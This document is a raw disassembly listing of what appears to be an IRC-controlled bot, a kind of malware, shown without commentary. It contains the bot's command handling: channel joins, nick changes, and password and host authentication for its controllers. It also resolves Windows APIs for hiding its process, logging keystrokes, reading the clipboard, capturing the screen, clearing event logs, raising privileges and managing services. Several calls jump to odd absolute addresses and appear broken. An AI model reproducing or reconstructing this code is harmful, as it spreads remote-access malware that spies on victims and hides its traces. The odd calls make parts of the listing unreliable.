		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	sub_409A2C
		pop	ecx
		pop	ecx
		push	1F4h
		nop
		call	near ptr 26705B3h
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	dword_4CB00C
		push	[ebp+var_10]
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEC4[eax]
		nop
		call	near ptr 2680DC8h
		push	esi
		call	sub_41B779
		imul	eax, 234h
		push	esi
		mov	dword_43DEC4[eax], ebx
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_43DCB0[eax], bl
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_4095D5:				; CODE XREF: sub_401ACD+3DCBj
					; sub_401ACD+3DE0j
		push	[ebp+arg_10]
		push	offset aAll	; "all"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409641
		call	sub_40B2BF
		cmp	eax, ebx
		jle	short loc_4095FC
		push	eax
		push	offset unk_4296BC
		jmp	loc_408CDB
; ---------------------------------------------------------------------------


loc_4095FC:				; CODE XREF: sub_401ACD+7B22j
		push	offset unk_429694


loc_409601:				; CODE XREF: sub_401ACD+24F9j
					; sub_401ACD+2518j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_40960F:				; CODE XREF: sub_401ACD+721Dj
		cmp	[ebp+var_8], ebx
		jnz	short loc_409630
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_409628:				; CODE XREF: sub_401ACD+6DB4j
		call	sub_409A72
		add	esp, 14h


loc_409630:				; CODE XREF: sub_401ACD+26F6j
					; sub_401ACD+2721j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		jmp	loc_40207D
; ---------------------------------------------------------------------------


loc_409641:				; CODE XREF: sub_401ACD+7B19j
		mov	eax, [ebp+var_AC]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_401E94
		lea	eax, [ebp+edi*4+var_90]
		mov	[ebp+arg_24], eax


loc_40965D:				; CODE XREF: sub_401ACD+7C01j
		mov	eax, [ebp+arg_24]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_401E94
		push	esi
		call	sub_41B779
		push	eax
		call	sub_40B231
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_409684
		push	offset unk_429670
		jmp	short loc_409689
; ---------------------------------------------------------------------------


loc_409684:				; CODE XREF: sub_401ACD+7BAEj
		push	offset unk_429644


loc_409689:				; CODE XREF: sub_401ACD+7BB5j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4096B9
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_4096B9:				; CODE XREF: sub_401ACD+7BCEj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		add	[ebp+arg_24], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_40965D
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_4096D5:				; CODE XREF: sub_401ACD+3DA1j
					; sub_401ACD+3DB6j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		push	esi
		push	offset dword_429DB0
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	offset dword_429628
		jmp	loc_40984D
; ---------------------------------------------------------------------------


loc_409711:				; CODE XREF: sub_401ACD+3D77j
					; sub_401ACD+3D8Cj
		push	[ebp+arg_10]
		push	offset dword_429D14
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_429604
		jmp	loc_40984D
; ---------------------------------------------------------------------------


loc_409731:				; CODE XREF: sub_401ACD+3D4Dj
					; sub_401ACD+3D62j
		push	[ebp+esi+var_88]
		push	[ebp+arg_10]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset unk_4295E0
		jmp	loc_40984D
; ---------------------------------------------------------------------------


loc_409758:				; CODE XREF: sub_401ACD+3D23j
					; sub_401ACD+3D38j
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_4295BC
		jmp	loc_40984D
; ---------------------------------------------------------------------------


loc_409778:				; CODE XREF: sub_401ACD+3163j
					; sub_401ACD+3178j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_429598
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h


loc_4097B2:				; CODE XREF: sub_401ACD+7D33j
		push	eax
		nop
		call	near ptr 26705B3h


loc_4097B9:				; CODE XREF: sub_401ACD+2AA2j
		xor	eax, eax
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_4097C0:				; CODE XREF: sub_401ACD+3139j
					; sub_401ACD+314Ej
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_429570
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		imul	eax, 3E8h
		jmp	short loc_4097B2
; ---------------------------------------------------------------------------


loc_409802:				; CODE XREF: sub_401ACD+EC8j
					; sub_401ACD+EDDj
		push	[ebp+esi+var_8C]
		xor	eax, eax
		cmp	[ebp+var_8F0], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_338]
		push	dword_42909C
		push	eax
		call	sub_40B08D
		add	esp, 10h
		lea	eax, [ebp+var_338]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		lea	eax, [ebp+var_338]
		push	eax
		push	offset unk_42954C


loc_40984D:				; CODE XREF: sub_401ACD+70B4j
					; sub_401ACD+778Aj ...
		call	sub_415220
		pop	ecx


loc_409853:				; CODE XREF: sub_401ACD+6CB9j
		pop	ecx


loc_409854:				; CODE XREF: sub_401ACD+659j
					; sub_401ACD+665j ...
		mov	eax, [ebp+arg_24]
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_40985C:				; CODE XREF: sub_401ACD+AB5j
					; sub_401ACD+AC8j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_10], esi
		jz	loc_401E94
		cmp	[ebp+var_A4], ebx
		jnz	loc_401E94
		push	offset asc_42CA28 ; "!"
		push	[ebp+var_90]
		call	sub_41C0F4
		mov	esi, eax
		push	offset dword_4CAE2C
		push	ebx
		inc	esi
		call	sub_41C0F4
		push	offset asc_429548 ; "~"
		push	eax
		call	sub_41C0F4
		push	[ebp+arg_10]
		mov	edi, eax
		push	offset aCool	; "cool"
		call	sub_41C070
		add	esp, 20h
		test	eax, eax
		jz	short loc_4098FB
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_4294C8
		jmp	loc_40240A
; ---------------------------------------------------------------------------


loc_4098FB:				; CODE XREF: sub_401ACD+7DEAj
		mov	[ebp+arg_24], offset off_429160


loc_409902:				; CODE XREF: sub_401ACD+7E51j
		mov	eax, [ebp+arg_24]
		push	edi
		push	dword ptr [eax]
		call	sub_40B44F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409962
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], offset off_429164
		jb	short loc_409902
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_429474
		jmp	loc_40240A
; ---------------------------------------------------------------------------


loc_409962:				; CODE XREF: sub_401ACD+7E44j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_409967:				; CODE XREF: sub_401ACD+7EC4j
		cmp	[ebp+arg_10], ebx
		jz	loc_401E94
		cmp	[edi], bl
		jnz	short loc_409987
		push	[ebp+arg_10]
		push	offset aCool	; "cool"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409998


loc_409987:				; CODE XREF: sub_401ACD+7EA5j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_409967
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_409998:				; CODE XREF: sub_401ACD+7EB8j
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_E00]
		push	7Fh
		push	eax
		push	esi
		call	sub_41B5F0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4099CF
		push	ebx
		push	[ebp+var_4]
		push	offset unk_429454
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_4099CF:				; CODE XREF: sub_401ACD+7EE6j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_429434
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_4099E0:				; CODE XREF: sub_401ACD+20Ej
					; sub_401ACD+223j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	offset aXI	; "-x+i"
		push	[ebp+arg_10]
		push	offset aModeSS_0 ; "MODE %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		mov	dword_4CAE24, edi
		jmp	loc_401D6A
sub_401ACD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409A2C	proc near		; CODE XREF: sub_401955+3Dp
					; sub_401ACD+1CBp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_41C190
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFC4
		leave
		retn
sub_409A2C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409A72	proc near		; CODE XREF: sub_401ACD+518p
					; sub_401ACD+137Dp ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_409A8D
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_409A8D:				; CODE XREF: sub_409A72+14j
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_41AFE0
		pop	ecx
		sub	esi, eax
		pop	ecx
		lea	eax, [ebp+var_400]
		push	[ebp+arg_8]
		push	offset aS_1	; "%s"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset aSSS_0	; "%s %s :%s\r\n"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFC4
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_409B10
		push	7D0h
		call	near ptr 26705B3h
		nop

locret_409B10:				; CODE XREF: sub_409A72+91j
		leave
		retn
sub_409A72	endp


; =============== S U B	R O U T	I N E =======================================



sub_409B12	proc near		; CODE XREF: ___:0040126Cp
		push	ebx
		push	ebp
		mov	ebp, dword_42709C
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp
		mov	esi, dword_4270BC
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_409C32
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_4CB020, eax
		call	esi
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_4CAF94, eax
		call	esi
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_4CAF78, eax
		call	esi
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_4CAE88, eax
		call	esi
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_4CAE34, eax
		call	esi
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_4CAE64, eax
		call	esi
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_4CAEDC, eax
		call	esi
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_4CAFD4, eax
		call	esi
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_4CB030, eax
		call	esi
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_4CAE94, eax
		call	esi
		cmp	dword_4CB020, ebx
		mov	dword_4CAE7C, eax
		jz	short loc_409C10
		cmp	dword_4CAF94, ebx
		jz	short loc_409C10
		cmp	dword_4CAF78, ebx
		jz	short loc_409C10
		cmp	dword_4CAE88, ebx
		jz	short loc_409C10
		cmp	dword_4CAE64, ebx
		jz	short loc_409C10
		cmp	dword_4CAEDC, ebx
		jz	short loc_409C10
		cmp	dword_4CAFD4, ebx
		jz	short loc_409C10
		cmp	dword_4CB030, ebx
		jz	short loc_409C10
		cmp	dword_4CAE94, ebx
		jz	short loc_409C10
		cmp	eax, ebx
		jnz	short loc_409C1A


loc_409C10:				; CODE XREF: sub_409B12+B8j
					; sub_409B12+C0j ...
		mov	dword_4CB034, 1


loc_409C1A:				; CODE XREF: sub_409B12+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4CAFAC, eax
		jz	short loc_409C47
		push	1
		push	ebx
		call	eax
		jmp	short loc_409C47
; ---------------------------------------------------------------------------


loc_409C32:				; CODE XREF: sub_409B12+1Dj
		call	near ptr 2680000h
		nop
		mov	dword_4CB038, eax
		mov	dword_4CB034, 1


loc_409C47:				; CODE XREF: sub_409B12+117j
					; sub_409B12+11Ej
		push	offset aUser32_dll ; "user32.dll"
		nop
		call	near ptr 2690CB0h
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409D5C
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_4CAFD0, eax
		call	esi
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_4CAF80, eax
		call	esi
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_4CAF14, eax
		call	esi
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_4CB024, eax
		call	esi
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_4CAF44, eax
		call	esi
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_4CAF64, eax
		call	esi
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_4CAFC8, eax
		call	esi
		cmp	dword_4CAFD0, ebx
		mov	dword_4CAEB4, eax
		jz	short loc_409D00
		cmp	dword_4CAF80, ebx
		jz	short loc_409D00
		cmp	dword_4CAF14, ebx
		jz	short loc_409D00
		cmp	dword_4CB024, ebx
		jz	short loc_409D00
		cmp	dword_4CAF44, ebx
		jz	short loc_409D00
		cmp	dword_4CAF64, ebx
		jz	short loc_409D00
		cmp	dword_4CAFC8, ebx
		jz	short loc_409D00
		cmp	eax, ebx
		jnz	short loc_409D0A


loc_409D00:				; CODE XREF: sub_409B12+1B8j
					; sub_409B12+1C0j ...
		mov	dword_4CB03C, 1


loc_409D0A:				; CODE XREF: sub_409B12+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_4CAF40, eax
		call	esi
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_4CAE48, eax
		call	esi
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_4CAF10, eax
		call	esi
		cmp	dword_4CAF40, ebx
		mov	dword_4CAEF8, eax
		jz	short loc_409D67
		cmp	dword_4CAE48, ebx
		jz	short loc_409D67
		cmp	dword_4CAF10, ebx
		jz	short loc_409D67
		cmp	eax, ebx
		jnz	short loc_409D71
		jmp	short loc_409D67
; ---------------------------------------------------------------------------


loc_409D5C:				; CODE XREF: sub_409B12+144j
		nop
		call	near ptr 2680000h
		mov	dword_4CB040, eax


loc_409D67:				; CODE XREF: sub_409B12+232j
					; sub_409B12+23Aj ...
		mov	dword_4CB03C, 1


loc_409D71:				; CODE XREF: sub_409B12+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409F2A
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_4CAFE4, eax
		call	esi
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_4CAF28, eax
		call	esi
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_4CAF98, eax
		call	esi
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_4CAE74, eax
		call	esi
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_4CAED8, eax
		call	esi
		push	offset aOpeneventloga ;	"OpenEventLogA"
		push	edi
		mov	dword_4CAF50, eax
		call	esi
		push	offset aCleareventloga ; "ClearEventLogA"
		push	edi
		mov	dword_4CAEF4, eax
		call	esi
		cmp	dword_4CAFE4, ebx
		mov	dword_4CAF04, eax
		jz	short loc_409E1A
		cmp	dword_4CAF28, ebx
		jz	short loc_409E1A
		cmp	dword_4CAF98, ebx
		jz	short loc_409E1A
		cmp	dword_4CAE74, ebx
		jz	short loc_409E1A
		cmp	dword_4CAED8, ebx
		jz	short loc_409E1A
		cmp	dword_4CAF50, ebx
		jnz	short loc_409E24


loc_409E1A:				; CODE XREF: sub_409B12+2DEj
					; sub_409B12+2E6j ...
		mov	dword_4CB044, 1


loc_409E24:				; CODE XREF: sub_409B12+306j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_4CAF58, eax
		call	esi
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_4CAF30, eax
		call	esi
		cmp	dword_4CAF58, ebx
		mov	dword_4CAFE0, eax
		jz	short loc_409E5F
		cmp	dword_4CAF30, ebx
		jz	short loc_409E5F
		cmp	eax, ebx
		jnz	short loc_409E69


loc_409E5F:				; CODE XREF: sub_409B12+33Fj
					; sub_409B12+347j
		mov	dword_4CB044, 1


loc_409E69:				; CODE XREF: sub_409B12+34Bj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_4CAF68, eax
		call	esi
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_4CAE50, eax
		call	esi
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_4CAE58, eax
		call	esi
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_4CAEBC, eax
		call	esi
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_4CAEC0, eax
		call	esi
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_4CAE6C, eax
		call	esi
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_4CAF34, eax
		call	esi
		cmp	dword_4CAF68, ebx
		mov	dword_4CAE5C, eax
		jz	short loc_409F0D
		cmp	dword_4CAE50, ebx
		jz	short loc_409F0D
		cmp	dword_4CAE58, ebx
		jz	short loc_409F0D
		cmp	dword_4CAEBC, ebx
		jz	short loc_409F0D
		cmp	dword_4CAEC0, ebx
		jz	short loc_409F0D
		cmp	dword_4CAE6C, ebx
		jz	short loc_409F0D
		cmp	dword_4CAF34, ebx
		jz	short loc_409F0D
		cmp	eax, ebx
		jnz	short loc_409F17


loc_409F0D:				; CODE XREF: sub_409B12+3C5j
					; sub_409B12+3CDj ...
		mov	dword_4CB044, 1


loc_409F17:				; CODE XREF: sub_409B12+3F9j
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4CAE54, eax
		jnz	short loc_409F3F
		jmp	short loc_409F35
; ---------------------------------------------------------------------------


loc_409F2A:				; CODE XREF: sub_409B12+26Aj
		nop
		call	near ptr 2680000h
		mov	dword_4CB048, eax


loc_409F35:				; CODE XREF: sub_409B12+416j
		mov	dword_4CB044, 1


loc_409F3F:				; CODE XREF: sub_409B12+414j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A00B
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_4CAF60, eax
		call	esi
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_4CAFB8, eax
		call	esi
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_4CAFC0, eax
		call	esi
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_4CAF7C, eax
		call	esi
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_4CAE98, eax
		call	esi
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_4CAE44, eax
		call	esi
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_4CAFBC, eax
		call	esi
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_4CAE30, eax
		call	esi
		cmp	dword_4CAF60, ebx
		mov	dword_4CAED0, eax
		jz	short loc_40A016
		cmp	dword_4CAFB8, ebx
		jz	short loc_40A016
		cmp	dword_4CAFC0, ebx
		jz	short loc_40A016
		cmp	dword_4CAF7C, ebx
		jz	short loc_40A016
		cmp	dword_4CAE98, ebx
		jz	short loc_40A016
		cmp	dword_4CAE44, ebx
		jz	short loc_40A016
		cmp	dword_4CAFBC, ebx
		jz	short loc_40A016
		cmp	dword_4CAE30, ebx
		jz	short loc_40A016
		cmp	eax, ebx
		jnz	short loc_40A020
		jmp	short loc_40A016
; ---------------------------------------------------------------------------


loc_40A00B:				; CODE XREF: sub_409B12+438j
		nop
		call	near ptr 2680000h
		mov	dword_4CB050, eax


loc_40A016:				; CODE XREF: sub_409B12+4B9j
					; sub_409B12+4C1j ...
		mov	dword_4CB04C, 1


loc_40A020:				; CODE XREF: sub_409B12+4F5j
		mov	ebp, dword_4270B8
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A2DC
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_4CAEE4, eax
		call	esi
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_4CB018, eax
		call	esi
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_4CAE84, eax
		call	esi
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_4CAE60, eax
		call	esi
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_4CAF20, eax
		call	esi
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_4CAF08, eax
		call	esi
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_4CAECC, eax
		call	esi
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_4CAFF4, eax
		call	esi
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_4CB010, eax
		call	esi
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_4CAF1C, eax
		call	esi
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_4CB000, eax
		call	esi
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_4CAFB4, eax
		call	esi
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_4CAF74, eax
		call	esi
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_4CAF70, eax
		call	esi
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_4CAEA4, eax
		call	esi
		push	offset aSend	; "send"
		push	edi
		mov	dword_4CAE9C, eax
		call	esi
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_4CAFC4, eax
		call	esi
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_4CAFD8, eax
		call	esi
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_4CAF8C, eax
		call	esi
		mov	dword_4CAF4C, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi
		push	offset aSelect	; "select"
		push	edi
		mov	dword_4CAFA0, eax
		call	esi
		push	offset aListen	; "listen"
		push	edi
		mov	dword_4CAF5C, eax
		call	esi
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_4CAF9C, eax
		call	esi
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_4CB008, eax
		call	esi
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_4CAF54, eax
		call	esi
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_4CAF18, eax
		call	esi
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_4CAF88, eax
		call	esi
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_4CAFF8, eax
		call	esi
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_4CAF2C, eax
		call	esi
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_4CAEC8, eax
		call	esi
		cmp	dword_4CAEE4, ebx
		mov	dword_4CB00C, eax
		jz	loc_40A2E7
		cmp	dword_4CB018, ebx
		jz	loc_40A2E7
		cmp	dword_4CAE84, ebx
		jz	loc_40A2E7
		cmp	dword_4CAF20, ebx
		jz	loc_40A2E7
		cmp	dword_4CAF08, ebx
		jz	loc_40A2E7
		cmp	dword_4CAECC, ebx
		jz	loc_40A2E7
		cmp	dword_4CAFF4, ebx
		jz	loc_40A2E7
		cmp	dword_4CB010, ebx
		jz	loc_40A2E7
		cmp	dword_4CAF1C, ebx
		jz	loc_40A2E7
		cmp	dword_4CB000, ebx
		jz	loc_40A2E7
		cmp	dword_4CAFB4, ebx
		jz	loc_40A2E7
		cmp	dword_4CAF74, ebx
		jz	loc_40A2E7
		cmp	dword_4CAF70, ebx
		jz	loc_40A2E7
		cmp	dword_4CAEA4, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAFC4, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAFD8, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF8C, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF4C, ebx
